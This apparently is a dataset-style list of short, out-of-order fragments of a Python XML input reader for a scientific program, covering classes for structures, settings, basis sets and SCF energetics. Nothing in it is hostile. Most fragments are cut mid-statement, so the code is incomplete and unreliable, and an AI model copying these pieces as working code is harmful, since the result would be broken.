"of array, should have a list or a dictionary, value",
"# set the parameter value self.parameter_values[parameter_definition.attrib['name']] = final_value @staticmethod def",
"definition, input_object = tag, directory = directory) else: if tag.tag",
"root_object = self.get_root_object() # if scf energetics file exists, parse",
"self.child_definitions.append(tag.tag) self.add_counters(child) child.parse() def parse(self): \"\"\" Parse paremeters and child",
"than the largest allowed value: {}', parameter_definition.attrib['name'], value, float(maxval)) def",
"parameter with name=='counter_name' by one. If the counter is not",
"result = [0.0, 0.0, 0.0] x = atom.find('x') if (x",
"is None, the # parameter is not present in the",
"<NAME>, <NAME>, * * <NAME>, <NAME>, <NAME> * * *",
"= numpy.empty((256, len(argument_values[argument_key])+1), dtype=\"c\") for j, value in enumerate(argument_values[argument_key]): temp[:,",
"is not found, None is returned. \"\"\" value = None",
"list or a dictionary, value is: {}.\".format(value_text)) return result def",
"path '{}' does not exist\".format(self.tag_type, complete_path)) def retrieve(self): \"\"\" Retrieves",
"parameter_definition): argument_type = parameter_definition.attrib['type'] if SettingsGenerator.has_options(parameter_definition): value_text = self.get_option_value(value_text, parameter_definition)",
"def read_atom_coordinates_and_type(self, atom): result = [0.0, 0.0, 0.0] x =",
"energetics of the action if os.path.exists(os.path.join(self.directory, scf_energetics_filename)): scf_energetics_definition = root_object.definition.find('scf_energetics_input')",
"Add value of counter parameter with name=='counter_name' by one. If",
"CLAIM, DAMAGES OR OTHER * * LIABILITY, WHETHER IN AN",
"content from path_text if path_text is not None and path_text",
"= False elif arg.lower() == 'true': value[i] = True else:",
"the # parameter is not present in the input file,",
"if structure file exists, parse it and add it as",
"<= 1: print(\"Give the input file name as an input.\")",
"* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF",
"'folder_path']: if self.parameter_values[parameter_name] is not None: # convert the non",
"type list to numpy arrays if self.parent_object is None: for",
"'B':5, 'C':6, 'N':7, 'O':8, 'F':9, 'Ne':10, 'Na': 11, 'Mg':12, 'Al':13,",
"= [] self.charges = [] # first read atom coordinates",
"= True if SettingsGenerator.generate_fortran(child.definition): child.get_interface_argument_values(argument_values, parameter_definitions, abbreviation = abbreviation, counter_present",
"= get_atom_charge(xyz_text[0]) result[0] = float(xyz_text[1]) result[1] = float(xyz_text[2]) result[2] =",
"(the \"Software\"), to deal * * in the Software without",
"with type \\'{}\\' and name \\'{}\\' has invalid value: \\'{}\\''.format(argument_type,",
"def parameter_values_are_equal(self, other, parameter_name): \"\"\" Compare the values of parameter",
"self.root is not None: # check if current tag has",
"the Fortran interface. The converted values are stored to input-output",
"not self.__eq__(other) def read_array_values(self, value_text, argument_type): is_number = argument_type.startswith(\"int\") or",
"= self.root.find('charge') # read relative charge if (charge is not",
"this software and associated documentation files (the \"Software\"), to deal",
"not None and path_text != \"\": try: self.root = self.retrieve_path(path_text,",
"with name 'name' in an xml. If attribute or tag",
"is not 0, in that case # we are not",
"If attribute or tag is not found, None is returned.",
"value of the parameter definition. \"\"\" value = InputXML.read_tag_or_attribute_value(self.root, parameter_definition.attrib['name'])",
"argument_values[argument_key] = None parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] else: if argument_key in",
"__ne__(self, other): return not self.__eq__(other) def read_array_values(self, value_text, argument_type): is_number",
"the path more readable by removing extra slashes and dots",
"at the root, convert the values with type list to",
"directory = directory) elif tag.tag == 'scf_energetics': child = SCFEnergeticsXML(parent_object",
"in the values \".format(parameter_name)+ \\ \"of the object. Have you",
"\\'{}\\' and name \\'{}\\' has invalid value: \\'{}\\''.format(argument_type, parameter_definition.attrib['name'], value_text))",
"too few coordinates in 'atom'->'xyz' -tag.\") self.coordinates.append(result) self.types.append(atom_type) self.charges.append(atom_charge) def",
"child in self.children: child.handle_folders() def get_interface_argument_values(self, argument_values, parameter_definitions = {},",
"structure.directory) root_object.children.append(structure) root_object.child_definitions.append('structure') root_object.add_counters(structure) structure.parse() structure_id_definition = self.get_parameter_definition('structure_id') self.set_parameter_value(structure_id_definition, structure.id)",
"content to the tag from external file(s), if the tag",
"of function 'parse' and it should not be used independently.",
"self.parameter_values: return self.parameter_values[parameter_name] else: raise InputProgrammingError(\"Accessed parameter: '{}' is not",
"3: new_shape = (shape[0], shape[1], shape[2]+1) elif len(shape) == 2:",
"'scf_energetics': child = SCFEnergeticsXML(parent_object = self, definition = definition, input_object",
"value: {}', parameter_definition.attrib['name'], value, float(maxval)) def get_option_value(self, value_text, parameter_definition): options",
"InputXML(object): tag_type = 'input' definition_tag = 'input_definition' def __init__(self, filename",
"'extends_path'. \"\"\" if self.root is not None: # check if",
"retrieve the content from path_text try: self.extends_roots.append(self.retrieve_path(path_text, directory)) self.extends_directories.append(self.form_new_directory_path(path_text, directory))",
"if hasattr(self, 'parameter_values') and parameter_name in self.parameter_values: return self.parameter_values[parameter_name] else:",
"parameter_values_are_equal\"+ \" are not of same type.\") # get the",
"is not found at root, then use the value from",
"equal_found = False # go through all the children and",
"value = float(value_text) elif argument_type.startswith('string'): if SettingsGenerator.generate_fortran(parameter_definition): value = str(value_text)",
"{} and value {} is larger than the largest allowed",
"self.definition.findall('parameter'): if parameter_definition.attrib['name'] == parameter_name: return parameter_definition return None def",
"self.definition_tag) else: sys.exit(\"Definition tag input not given.\") self.retrieve() def prepare(self):",
"[] types = [] charges = [] if (xyz is",
"xyz = atoms.find('xyz') coordinates = [] types = [] charges",
"= tag, directory = directory) else: if tag.tag == 'settings':",
"definition_tag = 'structure_input' atom_types = {'H':1, 'He':2, 'Li':3, 'Be':4, 'B':5,",
"break the iteration if value is not None: break #",
"convert the non absolute paths to absolute ones if not",
"str(value_text) else: value = str(value_text) elif argument_type.startswith('bool'): if value_text.lower() ==",
"was not found, try to find the definition from #",
"elif definition_filename is not None: if os.path.exists(definition_filename): definition = ET.parse(definition_filename)",
"# check that the input objects are of same type",
"from the parent objects. \"\"\" if counter_name in self.parameter_values: if",
"self._parse_children(self.root, self.directory) # add the tag classes that are not",
"None if one is not specified if value is None:",
"= root_object, \\ definition = scf_energetics_definition) scf_energetics.root = scf_energetics.retrieve_path(scf_energetics_filename, scf_energetics.directory)",
"self.children = [] self.child_definitions = [] # handle the parameters",
"to retrieve the content from path_text try: self.extends_roots.append(self.retrieve_path(path_text, directory)) self.extends_directories.append(self.form_new_directory_path(path_text,",
"non absolute paths to absolute ones if not os.path.isabs(self.parameter_values[parameter_name]): #",
"the XML-element, secondarily from the objects we are extending from",
"within allowed options: {} '.format(value_text, parameter_definition.attrib['name'], valid_options)) def get_root_object(self): if",
"* * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT",
"self.extends_directories[i]) # parse the children from the xml-root of this",
"elif len(shape) == 2: new_shape = (shape[0], shape[1]+1) else: new_shape",
"= numpy.array(temp, dtype=\"c\").T elif type(argument_values[argument_key]) == list: temp_array = numpy.array(argument_values[argument_key],",
"= temp_array[:, :, :] elif len(shape) == 2: new_array[:, :shape[1]]",
"found, break the iteration if value is not None: break",
"DAMAGES OR OTHER * * LIABILITY, WHETHER IN AN ACTION",
"= input_object elif filename is not None: if definition_filename is",
"the 'self'. Note: this function is a subfunctionality of function",
"# try to find the correct definition tag by using",
"StructureXML(InputXML): tag_type = 'structure' definition_tag = 'structure_input' atom_types = {'H':1,",
"default # value of the parameter is not specified. if",
"* * * * THE SOFTWARE IS PROVIDED \"AS IS\",",
"Stores the found child-xml classes to 'self.children' and the parameter",
"if tag.tag == 'settings': child = SettingsXML(parent_object = self, definition",
"else: argument_values[argument_key] = self.parameter_values[parameter_name] parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] for child in",
"the tree \"\"\" if 'output_folder' in self.parameter_values: scf_energetics_filename = \\",
"if 'global_index_counter' in child.definition.attrib or 'local_index_counter' in child.definition.attrib or 'counters'",
"None: value = tag.text elif name in root.attrib: value =",
"coordinates in 'atom'->'xyz' -tag.\") self.coordinates.append(result) self.types.append(atom_type) self.charges.append(atom_charge) def get_atom_type(self, atom_type_text):",
"THE * * SOFTWARE. * *----------------------------------------------------------------------------------\"\"\" # Input file reader",
"is not None: break # fall back to default value/or",
"InputXML.read_tag_or_attribute_value(self.root, parameter_definition.attrib['name']) # if value is not found at root,",
"definition_tag in self.definition.findall('class'): if definition_tag.attrib['name'] == tag.tag: definition = definition_tag",
"path_text directory_path = os.path.dirname(complete_path) # check if the path exists",
"parameter_definitions, abbreviation = abbreviation, counter_present = counter_present) # if we",
"is not None: value = tag.text elif name in root.attrib:",
"definition file: '{}' does not exist\".format(filename)) else: self.root = None",
"not None: complete_path = os.path.join(original_directory, path_text) else: complete_path = path_text",
"(or more) arguments for the same parameter: {}\".format(argument_key)) else: argument_values[argument_key]",
"\" are not of same type.\") # get the values",
"'{}' tag path '{}' does not exist\".format(self.tag_type, complete_path)) def retrieve(self):",
"the Software. * * * * THE SOFTWARE IS PROVIDED",
"argument_values[argument_key] def add_counters(self, child): \"\"\" Add all the counter values",
"OR * * IMPLIED, INCLUDING BUT NOT LIMITED TO THE",
"to # input the default values. for definition_tag in self.definition.findall('class'):",
"that case # we are not finding the value if",
"0: tagtype = parameter_name[:parameter_name.rfind('_')] name_tag_found = tagtype+\"_name\" in self.parameter_values if",
"else: print(\"PARAMETER is not valid\", parameter_definition.attrib['name']) # if the object",
"def retrieve_path(self, path_text, directory): \"\"\" Retrieves content of xml file",
"False def get_counter_value(self, counter_name): \"\"\" Get the value of a",
"and 'original_directory' and validate that it exists. Returns the new",
"path more readable by removing extra slashes and dots self.parameter_values[parameter_name]",
"# if structure file exists, parse it and add it",
"the children from it # and store them to 'self'",
"numpy, ast from .generate_objects import SettingsGenerator from collections import OrderedDict",
"not None): result[1] = float(y.text) z = atom.find('z') if (z",
"get_root_object(self): if self.parent_object is None: return self else: return self.parent_object.get_root_object()",
"def fill_id_values(self): \"\"\" Finds the id for each parameter where",
"= OrderedDict() self.children = [] self.child_definitions = [] # handle",
"= parameter_definition if parameter_definition.attrib['name'] == 'name': self.name = self.parameter_values['name'] else:",
"# input the default values. for definition_tag in self.definition.findall('class'): if",
"dtype=\"c\").T elif type(argument_values[argument_key]) == list: temp_array = numpy.array(argument_values[argument_key], order='F').T shape",
"# make the path more readable by removing extra slashes",
"from the default value of the parameter definition. \"\"\" value",
"parameter value self.parameter_values[parameter_definition.attrib['name']] = final_value @staticmethod def read_tag_or_attribute_value(root, name): \"\"\"",
"copy, modify, merge, publish, distribute, sublicense, and/or sell * *",
"not found in 'atom'-tag\") def read_atoms_coordinates_and_types(self, atoms): xyz = atoms.find('xyz')",
"from parent definition tree\", self.definition_tag) else: sys.exit(\"Definition tag input not",
"many or too few coordinates in 'atom'->'xyz' -tag.\") self.coordinates.append(result) self.types.append(atom_type)",
"or child with # name 'extends_path' path_text = InputXML.read_tag_or_attribute_value(self.root, 'extends_path')",
"check if the tag has value that is not 0,",
"respectively. User must note that this function is recursive as",
"argument_values[argument_key] is not None: argument_values[argument_key].append(self.parameter_values[parameter_name]) else: argument_values[argument_key] = [self.parameter_values[parameter_name]] parameter_definitions[argument_key]",
"xyz in xyz_lines: xyz_text = xyz.strip().split(\" \") xyz_coord = [0.0,",
"None,\\ input_object = None,\\ parent_object = None,\\ definition = None,",
"if abbreviation is not None: argument_key = \"{}_{}\".format(abbreviation, parameter_name) else:",
"def read_atoms_coordinates_and_types(self, atoms): xyz = atoms.find('xyz') coordinates = [] types",
"parameter_definition.findall('option') result = None if len(options) > 0: valid_options =",
"class BasisSetXML(InputXML): tag_type = 'basis_set' definition_tag = 'basis_set_input' class SettingsXML(InputXML):",
"for each parameter where reference is made with name and",
"self.directory = os.path.dirname(filename) elif self.parent_object is not None: self.directory =",
"have all things required to call the Fortran interface \"\"\"",
"argument_type.startswith(\"double\") # try to evaluate the molecular orbitals as dict",
"if self.root is not None: # check if current tag",
"not in self.parameter_values: # try to find the correct definition",
"self.read_atom_type(atom) if (xyz is not None): xyz_text = xyz.text.strip().split(\" \")",
"each other \"\"\" return self.is_of_same_type_as(other)\\ and self.all_parameter_values_are_equal(other)\\ and self.children_are_equal(other) def",
"to retrieve the content from path_text if path_text is not",
"Counter not found.\".format(child.definition.attrib['counters'])) def add_counter_value(self, counter_name): \"\"\" Add value of",
"\"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR *",
"new_array[:shape[0]] = temp_array[:] argument_values[argument_key] = new_array elif argument_values[argument_key] is None:",
"name = self.parameter_values[tagtype+\"_name\"] if name is not None and name",
"definition from # the '<class>'-tags if definition is None: definition_found",
"= StructureXML(parent_object = root_object, \\ definition = structure_definition) structure.root =",
"hasattr(child, 'name') and child.name == name: return child.id return -1",
"shape[1]+1) else: new_shape = (shape[0]+1) new_array = numpy.empty(new_shape, order='F') if",
"furnished to do so, subject to the following conditions: *",
"= self.add_counter_value(child.definition.attrib['global_index_counter']) if not success: print(\"Warning: Adding counter {} failed.",
"= root.find(name) if tag is not None: value = tag.text",
"definition elif definition_filename is not None: if os.path.exists(definition_filename): definition =",
"(x is not None): result[0] = float(x.text) y = atom.find('y')",
"found from parent definition tree\", self.definition_tag) else: sys.exit(\"Definition tag input",
"argument with name {} and value {} is smaller than",
"root_object.children.append(structure) root_object.child_definitions.append('structure') root_object.add_counters(structure) structure.parse() structure_id_definition = self.get_parameter_definition('structure_id') self.set_parameter_value(structure_id_definition, structure.id) class",
"exist\".format(self.tag_type, complete_path)) return directory_path def retrieve_path(self, path_text, directory): \"\"\" Retrieves",
"array_values = self.read_array_values(value_text, argument_type) # get the final size of",
"arg in enumerate(array_values): if argument_type.startswith('int'): value[i] = int(arg) if argument_type.startswith('float'):",
"is None: self.parameter_values[counter_name] = 0 self.parameter_values[counter_name] += 1 return True",
"path_text = InputXML.read_tag_or_attribute_value(self.root, 'extends_path') self.extends_roots = [] self.extends_directories = []",
"distribute, sublicense, and/or sell * * copies of the Software,",
"try to retrieve the content from path_text try: self.extends_roots.append(self.retrieve_path(path_text, directory))",
"each parameter where reference is made with name and fills",
"type(argument_values[argument_key]) == list: temp = numpy.empty((256, len(argument_values[argument_key])+1), dtype=\"c\") for j,",
"parameter_name in ['output_folder', 'input_folder', 'folder_path']: if self.parameter_values[parameter_name] is not None:",
"tree\", self.definition_tag) else: sys.exit(\"Definition tag input not given.\") self.retrieve() def",
"for definition_tag in self.definition.findall('class'): if definition_tag.attrib['name'] not in self.child_definitions: child",
"the input directory path = os.path.join(self.directory, self.parameter_values[parameter_name]) # make the",
"definition = None, \\ directory = None): if (input_object is",
"deal * * in the Software without restriction, including without",
"size = max(dictionary.keys()) # init array of size if is_number:",
"if value is not None: break # fall back to",
"permit persons to whom the Software is * * furnished",
"= os.path.dirname(os.path.realpath(__file__))+\"/input_parameters.xml\" if os.path.exists(filename): self.tree = ET.parse(filename) self.root = self.tree.getroot()",
"if one is not specified if value is None: if",
"is_number = argument_type.startswith(\"int\") or \\ argument_type.startswith(\"float\") or \\ argument_type.startswith(\"double\") #",
"two InputXML objects are equal with each other \"\"\" return",
"\\'{}\\''.format(argument_type, parameter_definition.attrib['name'], value_text)) else: try: if value_text is None: value",
"None): xyz_lines = xyz.text.splitlines() for xyz in xyz_lines: xyz_text =",
"it is valid final_value = self.convert_argument_value(value, parameter_definition) # check that",
"\") xyz_coord = [0.0, 0.0, 0.0] # ignore empty lines",
"is None: if 'default' in parameter_definition.attrib: value = parameter_definition.attrib['default'] return",
"* * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES",
"= None if root is not None: tag = root.find(name)",
"None if root is not None: tag = root.find(name) if",
"= None, \\ definition_filename = None,\\ input_object = None,\\ parent_object",
"to permit persons to whom the Software is * *",
"that the input objects are of same type if type(self)",
"# Input file reader import os import sys import xml.etree.ElementTree",
"'extends_path') def fill_id_values(self): \"\"\" Finds the id for each parameter",
"tags for i, atoms in enumerate(self.root.findall('atoms')): self.read_atoms_coordinates_and_types(atoms) def read_atom_coordinates_and_type(self, atom):",
"= None,\\ input_object = None,\\ parent_object = None,\\ definition =",
"value of counter parameter with name=='counter_name' by one. If the",
"maxval = parameter_definition.attrib['maxval'] if value > float(maxval): sys.exit('Error: argument with",
"[0] * size else: result = [None] * size for",
"self.extends_directories = [] directory = self.directory while path_text is not",
"as a child of the root # and set it",
"definition = self.parent_object.definition.find(self.definition_tag) if definition is not None: self.definition =",
"if 'abbreviation' in self.definition.attrib: abbreviation = self.definition.attrib['abbreviation'] for parameter_name in",
"in child.definition.attrib or 'local_index_counter' in child.definition.attrib or 'counters' in child.definition.attrib:",
"filename is not None and os.path.exists(filename): self.directory = os.path.dirname(filename) elif",
"== 2: new_array[:, :shape[1]] = temp_array[:, :] else: new_array[:shape[0]] =",
"xyz.text.splitlines() for xyz in xyz_lines: xyz_text = xyz.strip().split(\" \") xyz_coord",
"if we are at the root, convert the values with",
"to 'parameter_name' atribute of 'self'. \"\"\" if directory is not",
"is not None\\ and hasattr(self, 'extends_directories') and self.extends_directories is not",
"if parameter_definitions[argument_key].attrib['type'].startswith('string') and type(argument_values[argument_key]) == list: temp = numpy.empty((256, len(argument_values[argument_key])+1),",
"self.directory) except Exception as e: sys.exit(str(e)) # check if current",
"get_definition_tag(self, tag_name): \"\"\" Retrieve the definition tag for a tag",
"definition_tag) self.children.append(child) child.parse() def handle_folders(self): \"\"\" Creates missing folders and",
"as e: sys.exit(str(e)) # check if current tag has an",
"set_parameter_value(self, parameter_definition, value): \"\"\" Set an arbitrary value 'value' for",
"== parameter_name: return parameter_definition return None def get_definition_tag(self, tag_name): \"\"\"",
"else: complete_path = path_text directory_path = os.path.dirname(complete_path) # check if",
"to find the definition from # the '<class>'-tags if definition",
"path_text = InputXML.read_tag_or_attribute_value(self.extends_roots[-1], 'extends_path') def fill_id_values(self): \"\"\" Finds the id",
"input_object = tag, directory = directory) else: if tag.tag ==",
"file exists, parse it and add as a child of",
"if value is None: if 'default' in parameter_definition.attrib: value =",
"InputXML.read_tag_or_attribute_value(extends_root, parameter_definition.attrib['name']) # if value is found, break the iteration",
"name {} and value {} is larger than the largest",
"the parameter from the parsed parameters. If the parameter is",
"id_value for child in self.children: child.fill_id_values() def get_tagid_for_name(self, tagtype, name):",
"float(maxval): sys.exit('Error: argument with name {} and value {} is",
"= [0.0, 0.0, 0.0] x = atom.find('x') if (x is",
"is valid final_value = self.convert_argument_value(value, parameter_definition) # check that value",
"== numpy.float32 or type(self_value[i]) == numpy.float16: if abs(self_value[i] - other_value[i])",
"return type(self) == type(other) \\ and self.definition.attrib['name'] == other.definition.attrib['name'] def",
"== 0: tagtype = parameter_name[:parameter_name.rfind('_')] name_tag_found = tagtype+\"_name\" in self.parameter_values",
"validate that it exists. Returns the new path. \"\"\" if",
"definition is not None: self.definition = definition elif definition_filename is",
"THE USE OR OTHER DEALINGS IN THE * * SOFTWARE.",
"BasisSetXML(parent_object = self, definition = definition, input_object = tag, directory",
"first read atom coordinates in 'atom' tags for i, atom",
"not None: value = tag.text elif name in root.attrib: value",
"or substantial portions of the Software. * * * *",
"class ActionXML(InputXML): tag_type = 'action' definition_tag = 'action_input' def parse(self):",
"has invalid value: \\'{}\\''.format(argument_type, parameter_definition.attrib['name'], value_text)) return value def check_value_range(self,",
"= False for definition_tag in self.definition.findall('class'): if definition_tag.attrib['name'] == tag.tag:",
"= \"{}_{}\".format(abbreviation, parameter_name) else: argument_key = parameter_name if counter_present: #",
"equal if not equal_found: return False return True def __eq__(self,",
"definition tag by using the \"*_input\"-format definition = self.definition.find('{}_input'.format(tag.tag)) #",
"self.parameter_values[counter_name] else: if self.parent_object is not None: return self.parent_object.get_counter_value(counter_name) else:",
"input_object elif filename is not None: if definition_filename is None:",
"float(xyz_text[3]) coordinates.append(xyz_coord) else: sys.exit(\"Error: Too many or too few coordinates",
"atom coordinates in 'atom' tags for i, atom in enumerate(self.root.findall('atom')):",
"return directory_path def retrieve_path(self, path_text, directory): \"\"\" Retrieves content of",
"self.extends_roots: value = InputXML.read_tag_or_attribute_value(extends_root, parameter_definition.attrib['name']) # if value is found,",
"it to the correct place \"\"\" for parameter_name in self.parameter_values:",
"self.get_parameter_definition('scf_energetics_id') self.set_parameter_value(scf_energetics_id_definition, scf_energetics.id) structure_filename = \\ os.path.join(self.parameter_values['output_folder'], \"structure.xml\") # if",
"directory_path def retrieve_path(self, path_text, directory): \"\"\" Retrieves content of xml",
"if os.path.exists(filename): self.tree = ET.parse(filename) self.root = self.tree.getroot() else: print(\"Path",
"parent_object if directory is not None: self.directory = directory elif",
"parameter_definition return None def get_definition_tag(self, tag_name): \"\"\" Retrieve the definition",
"= StructureXML(parent_object = self, definition = definition, input_object = tag,",
"None is returned. \"\"\" value = None if root is",
"float(xyz_text[2]) result[2] = float(xyz_text[3]) else: sys.exit(\"Error: Too many or too",
"float(self.atom_types[atom_type_text]) def read_atom_type(self, atom): if 'type' in atom.attrib: return atom.attrib['type']",
"argument with name \"{}\" is not within allowed options: {}",
"'input_definition' def __init__(self, filename = None, \\ definition_filename = None,\\",
"the tag has value that is not 0, in that",
"* * Permission is hereby granted, free of charge, to",
"self.coordinates = [] self.types = [] self.charges = [] #",
"len(shape) == 2: new_array[:, :shape[1]] = temp_array[:, :] else: new_array[:shape[0]]",
"class InputProgrammingError(Exception): pass class InputXML(object): tag_type = 'input' definition_tag =",
"tag = root.find(name) if tag is not None: value =",
"* copies of the Software, and to permit persons to",
"IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,",
"self.parent_object is not None: self.directory = self.parent_object.directory else: self.directory =",
"= self.get_root_object() # if scf energetics file exists, parse it",
"Software, and to permit persons to whom the Software is",
"attribute with name 'name' in an xml. If attribute or",
"has extends_root, then parse the children from it # and",
"else: if self.parent_object is not None: return self.parent_object.add_counter_value(counter_name) else: return",
"directory)) except Exception as e: sys.exit(str(e)) # prepare for the",
"= (shape[0]+1) new_array = numpy.empty(new_shape, order='F') if len(shape) == 3:",
"= parent_object if directory is not None: self.directory = directory",
"self.extends_roots is not None\\ and hasattr(self, 'extends_directories') and self.extends_directories is",
"directory)) self.extends_directories.append(self.form_new_directory_path(path_text, directory)) except Exception as e: sys.exit(str(e)) # prepare",
"'text_value' in option.attrib and value_text == option.attrib['text_value']: return option.attrib['value'] else:",
"SettingsXML(parent_object = self, definition = definition, input_object = tag, directory",
"not in parameter_definitions: argument_values[argument_key] = None parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] else:",
"not None: self.directory = self.parent_object.directory else: self.directory = None if",
"list: temp_array = numpy.array(argument_values[argument_key], order='F').T shape = temp_array.shape if len(shape)",
"type. \"\"\" # check that the input objects are of",
"argument with name {} and value {} is larger than",
"'local_index_counter' in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['local_index_counter']) if not success: print(\"Warning:",
"if parameter_definition.attrib['name'] == parameter_name: return parameter_definition return None def get_definition_tag(self,",
"fills it to the correct place \"\"\" for parameter_name in",
"retrieve the content from path_text if path_text is not None",
"None: if 'default' in parameter_definition.attrib: value = parameter_definition.attrib['default'] return value",
"paths to absolute ones if not os.path.isabs(self.parameter_values[parameter_name]): # join the",
"atom_types = {'H':1, 'He':2, 'Li':3, 'Be':4, 'B':5, 'C':6, 'N':7, 'O':8,",
"scf_energetics = SCFEnergeticsXML(parent_object = root_object, \\ definition = scf_energetics_definition) scf_energetics.root",
"= tag, directory = directory) elif tag.tag == 'basis_set': child",
"atom_type_text): return int(self.atom_types[atom_type_text]) def get_atom_charge(self, atom_type_text): return float(self.atom_types[atom_type_text]) def read_atom_type(self,",
"'self.parameter_definitions', respectively. User must note that this function is recursive",
"\\ directory = None): if (input_object is not None): self.root",
"not of same type.\") # get the values for both",
"largest allowed value: {}', parameter_definition.attrib['name'], value, float(maxval)) def get_option_value(self, value_text,",
"'atoms'->'xyz' -line.\") self.coordinates.extend(coordinates) self.types.extend(types) self.charges.extend(charges) if __name__ == \"__main__\": if",
"The mandatory attribute 'type' not found in 'atom'-tag\") def read_atoms_coordinates_and_types(self,",
"if the tag has attribute or child named 'path' and/or",
"directory): \"\"\" Parse children of root xml-tag 'root' and store",
"result[key-1] = dictionary[key] except: try: result = ast.literal_eval(\"[\"+ value_text +\"]\")",
"value is: {}.\".format(value_text)) return result def convert_argument_value(self, value_text, parameter_definition): argument_type",
"\"of the object. Have you perfomed 'parse' for the object?\")",
"returned. \"\"\" value = None if root is not None:",
"self.parameter_values[tagtype+\"_name\"] if name is not None and name != \"\":",
"in enumerate(self.extends_roots): self._parse_children(extends_root, self.extends_directories[i]) # parse the children from the",
"prepare for the next loop by getting the next extends",
"failed. Counter not found.\".format(child.definition.attrib['local_index_counter'])) if 'counters' in child.definition.attrib: success =",
"of the root-xml tags stored in self.root and self.extends_roots. Stores",
"= self.add_counter_value(child.definition.attrib['local_index_counter']) if not success: print(\"Warning: Adding counter {} failed.",
"from the parent objects. \"\"\" if counter_name in self.parameter_values: return",
"None: return self else: return self.parent_object.get_root_object() class SCFEnergeticsXML(InputXML): tag_type =",
"or a dictionary, value is: {}.\".format(value_text)) return result def convert_argument_value(self,",
"values are stored to input-output dictionary 'arguments_values'. \"\"\" if 'abbreviation'",
"root-xml tags stored in self.root and self.extends_roots. Stores the found",
"sys.exit('Error: argument with name {} and value {} is larger",
"values of the parameters to a form suitable for the",
"None, \\ definition_filename = None,\\ input_object = None,\\ parent_object =",
"= \"\" for option in options: if 'value' in option.attrib",
"used independently. \"\"\" for tag in root: if tag.tag not",
"it calls 'parse' for all found children in '_parse_children' calls.",
"tree \"\"\" if 'output_folder' in self.parameter_values: scf_energetics_filename = \\ os.path.join(self.parameter_values['output_folder'],",
"parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] else: if argument_key not in parameter_definitions: argument_values[argument_key]",
"else: inp = InputXML(filename = sys.argv[1], definition_filename = os.path.dirname(os.path.realpath(__file__))+\"/input_parameters.xml\") import",
"OrderedDict() self.children = [] self.child_definitions = [] # handle the",
"exists if not os.path.exists(directory_path): raise Exception(\"Error: '{}' tag path '{}'",
"os.path.isabs(self.parameter_values[parameter_name]): # join the directory of the file with the",
"'parameter_name' for two objects of the same type. \"\"\" #",
"tag path '{}' does not exist\".format(self.tag_type, complete_path)) def retrieve(self): \"\"\"",
"[] self.charges = [] # first read atom coordinates in",
"else: # do the parsing of the input array (could",
"not None: return self.parent_object.get_counter_value(counter_name) else: return -1 def set_parameter_value(self, parameter_definition,",
"def get_atom_charge(self, atom_type_text): return float(self.atom_types[atom_type_text]) def read_atom_type(self, atom): if 'type'",
"int(charge.text) else: self.charge = 0 # read coordinates and atom",
"if directory is not None: self.directory = directory elif filename",
"'N':7, 'O':8, 'F':9, 'Ne':10, 'Na': 11, 'Mg':12, 'Al':13, 'Si':14, 'P':15,",
"the object. Have you perfomed 'parse' for the object?\") def",
"ast from .generate_objects import SettingsGenerator from collections import OrderedDict class",
"object and store them # to 'self' if self.root is",
"# has to be changed to a list array_values =",
"self.parent_object is None: for argument_key in list(argument_values): # the string",
"== option.attrib['value']: return value_text elif 'text_value' in option.attrib and value_text",
"the default value of the parameter definition. \"\"\" value =",
"(shape[0], shape[1], shape[2]+1) elif len(shape) == 2: new_shape = (shape[0],",
"= parameter_definition.attrib['maxval'] if value > float(maxval): sys.exit('Error: argument with name",
"does not exist: {}\".format(definition_filename)) elif self.parent_object is not None: definition",
"'type' in atom.attrib: return atom.attrib['type'] else: sys.exit(\"Error: The mandatory attribute",
"The above copyright notice and this permission notice shall be",
"are stored to input-output dictionary 'arguments_values'. \"\"\" if 'abbreviation' in",
"len(shape) == 2: new_shape = (shape[0], shape[1]+1) else: new_shape =",
"result = [0] * size else: result = [None] *",
"SettingsGenerator.is_array(parameter_definition): if value_text is None: value = None else: #",
"corresponding definitions are stored to 'self.child_definitions' and 'self.parameter_definitions', respectively. User",
"of counter parameter with name=='counter_name' by one. If the counter",
"class InputXML(object): tag_type = 'input' definition_tag = 'input_definition' def __init__(self,",
"a new directory path from 'path_text' and 'original_directory' and validate",
"OF MERCHANTABILITY, * * FITNESS FOR A PARTICULAR PURPOSE AND",
"other): \"\"\" Check if children of 'self' and 'other' are",
"* * of this software and associated documentation files (the",
"'Li':3, 'Be':4, 'B':5, 'C':6, 'N':7, 'O':8, 'F':9, 'Ne':10, 'Na': 11,",
"other_value = other.get_parameter_value(parameter_name) if isinstance(self_value, list) or isinstance(self_value, numpy.ndarray): if",
"value_text, parameter_definition): options = parameter_definition.findall('option') result = None if len(options)",
"OR OTHER * * LIABILITY, WHETHER IN AN ACTION OF",
"= tag.text elif name in root.attrib: value = root.attrib[name] return",
"value: \\'{}\\''.format(argument_type, parameter_definition.attrib['name'], value_text)) return value def check_value_range(self, value, parameter_definition):",
"exists, parse it and add as a child of the",
"the tag classes that are not found in the input",
"documentation files (the \"Software\"), to deal * * in the",
"the smallest allowed value: {}', parameter_definition.attrib['name'], value, float(minval)) if 'maxval'",
"at path 'path_text' to and store it to 'parameter_name' atribute",
"# to 'self' if self.root is not None: self._parse_children(self.root, self.directory)",
"[] self.types = [] self.charges = [] # first read",
"self).parse() self.handle_output_files() def handle_output_files(self): \"\"\" Reads in the output files",
"atoms): xyz = atoms.find('xyz') coordinates = [] types = []",
"equal with definition and value \"\"\" for child in self.children:",
"value): \"\"\" Set an arbitrary value 'value' for the parameter",
"FOR ANY CLAIM, DAMAGES OR OTHER * * LIABILITY, WHETHER",
"int(self.atom_types[atom_type_text]) def get_atom_charge(self, atom_type_text): return float(self.atom_types[atom_type_text]) def read_atom_type(self, atom): if",
"for xyz in xyz_lines: xyz_text = xyz.strip().split(\" \") xyz_coord =",
"parameter_definition.attrib['name'] == parameter_name: return parameter_definition return None def get_definition_tag(self, tag_name):",
"complete_path = os.path.join(original_directory, path_text) else: complete_path = path_text directory_path ="
] |
[
